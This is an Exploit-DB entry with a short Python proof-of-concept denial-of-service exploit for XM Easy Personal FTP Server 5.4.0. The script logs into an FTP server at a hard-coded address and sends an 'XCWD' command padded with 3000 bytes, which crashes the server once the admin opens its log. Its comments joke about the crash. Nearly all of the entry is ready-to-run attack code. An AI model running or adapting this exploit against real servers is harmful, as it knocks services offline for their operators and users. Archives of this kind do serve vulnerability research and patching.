XM Easy Personal FTP Server 5.4.0 - 'XCWD' Denial of Service

EDB-ID:

5438

CVE:

N/A

Author:

j0rgan

Type:

dos

Platform:

Windows

Published:

2008-04-13

#!/usr/bin/python
########################################
# XM Easy Personal FTP Server 5.4.0 (XCWD) DoS
#
# When admin looks at the server log, application crashes :)
#
# Elhamdulillahi Rabbil-alemin!
#
########################################
# bt ~ # ./sploit.py
#
# [+] Saljemo zli bafer :)
# [+] Now wait until the admin looks at server log :)
# [+] Finito!
#
########################################
# Vulnerability discovered and coded by Muris Kurgas a.k.a j0rgan
# jorganwd [at] gmail [dot] com
# http://www.jorgan.users.cg.yu
########################################

import struct
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

bafer = '\x41' * 3000
print "\n [+] Saljemo zli bafer :)"
s.connect(('192.168.190.132',21))
data = s.recv(1024)
s.send('USER ftp' +'\r\n')
data = s.recv(1024)
s.send('PASS lozinka' +'\r\n')
data = s.recv(1024)
print " [+] Now wait until the admin looks at server log :)"
s.send('XCWD ' +bafer+ '\r\n')
s.close()
print " [+] Gotovo! "

# milw0rm.com [2008-04-13]